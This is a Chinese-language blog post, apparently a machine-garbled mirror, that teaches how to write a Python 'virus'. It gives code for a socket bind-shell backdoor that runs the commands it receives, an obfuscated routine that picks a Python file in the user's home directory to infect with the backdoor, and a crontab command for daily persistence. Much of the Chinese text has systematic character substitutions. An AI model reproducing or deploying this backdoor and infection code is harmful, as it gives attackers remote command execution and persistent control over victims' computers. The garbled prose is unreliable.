乐趣区

关于python:手写一个-Python-病毒

jiezi

明天的文章来展现一个 Python “ 病毒 ”，它感化其余 Python 文件来创立一个后门。后门利用 Python 的内置 socket 模块来创立一个监听器，用来连贯到 Python 的内置子过程模块，从而靶机上执行命令，同时还通过创立一个 cronjob 来建设持久性，以在每天固定的工夫运行后门。最终残缺的 Python 脚本蕴含在本文开端。留神：请不要将本文中提供的 Python 脚本用于歹意目标。尽管它不先进，但通过一些批改，它能够让齐全管制某人的计算机。本文的次要目标是通过这些脚本，更好地理解黑客如何获取失常程序并使它们成为恶意程序。

话不多说，让咱们开始吧。

 1. 建设通信

任何后门最重要的局部都是建设通信。当初，让咱们为后门拜访编写一段代码。通过 TCP 连贯到靶机，咱们应用套接字模块监听黑客的连贯申请。在 socket 模块中，有一个函数也称为 socket，咱们能够应用它来创立 TCP 或 UDP 套接字。应用 socket.socket 函数创立套接字时，咱们须要提供两个参数来指定咱们要应用的 IP 版本和第 4 层协定。在这个 Python 脚本中，咱们将传入以下参数：socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM：指定 TCP 而不是 UDP。
  • socket.socket 函数返回一个对象，该对象由最终确定正在创立的套接字是侦听套接字（服务器）还是连贯套接字（客户端）的办法组成。要创立侦听套接字，须要应用以下办法：
  • bind > 将 IP 地址和端口绑定到网络接口
  • listen > 批示咱们的套接字开始监听传入的连贯
  • accept > 承受传入连贯
  • recv > 从连贯的客户端接收数据
  • send > 向连贯的客户端发送数据

然而，最重要的办法是 recv 和 send。recv 办法会接管来自攻击者的命令，应用 subproces.run 函数在受害者的零碎上执行它们，而后将执行命令的规范输入重定向到与攻击者建设的 TCP 连贯。上面是 Python 代码：

from socket import socket, AF_INET, SOCK_STREAM
from subprocess import run, PIPE
from os import _exit


def serve():
    with socket(AF_INET, SOCK_STREAM) as soc:
        # [*] The obfuscated values are just the IP address and port to bind to
        soc.bind((ip, 端口))
        soc.listen(5)
        while True:
            conn, _ = soc.accept()
            while True:
                cmd = conn.recv(1024).decode("utf-8").strip()
                cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
                if cmd_output.returncode == 0:
                    conn.send(bytes(cmd_output.stdout))
                else:
                    continue

serve()

 2. 感化指标 Python 文件

这段程序通过遍历指定目录（最好是用户的主目录）并查找批改工夫最早的 Python 脚本。这里是测试，因而不是感化所有 Python 文件，而仅感化批改工夫最早的文件。感化一个 Python 文件对于管制靶机来说曾经够了。

def MTRkYmNubWx(self):
    YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\"
    for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
        for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
            if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
                continue
            eHhtbG1vZGF0 = stat(f).st_mtime
            ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
            if not self.Z2hhenh4ZGwK:
                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
            elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
                self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
    self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

上述代码的局部变量应用了混同，让人不易看懂，其实很简略，就是应用 os 模块中定义的 walk 和 stat 函数来遍历目录文件并获取它们的批改工夫。取得的每个文件的批改工夫被转换为 datetime.datetime 对象，以便咱们能够应用 > < 和 == 等运算符轻松比拟日期。在这个函数的最初，选定的指标 Python 文件名被传递到将后门服务器代码注入其中的函数。

 3. 通过 crontab 工作来长久化

这个 Python 后门的最初一个函数应用 subprocess.run 函数来调用一个 Linux shell 命令，该命令将在以后用户的 crontab 文件中创立一个条目。此条目指定打算的 cronjob 应在每天 14:00 定时运行。增加 crontab 对应的 shell 命令如下：

echo '00 14 * * * file_name | crontab -

而后咱们让 Python 把上一步感化的文件增加到 crontab 中：

def YWZhdGhjCg(self):
    if self.bGpqZ2hjen == "Linux": 
        run(f"echo'00 14 * * * {self.Z2hhenh4ZGwK[0]}'| crontab -", shell=True)

以上就是本次分享的所有内容，如果你感觉文章还不错，欢送关注公众号：Python 编程学习圈 ，每日干货分享，发送“J”还可支付大量学习材料。或是返回编程学习网，理解更多编程技术常识。

退出移动版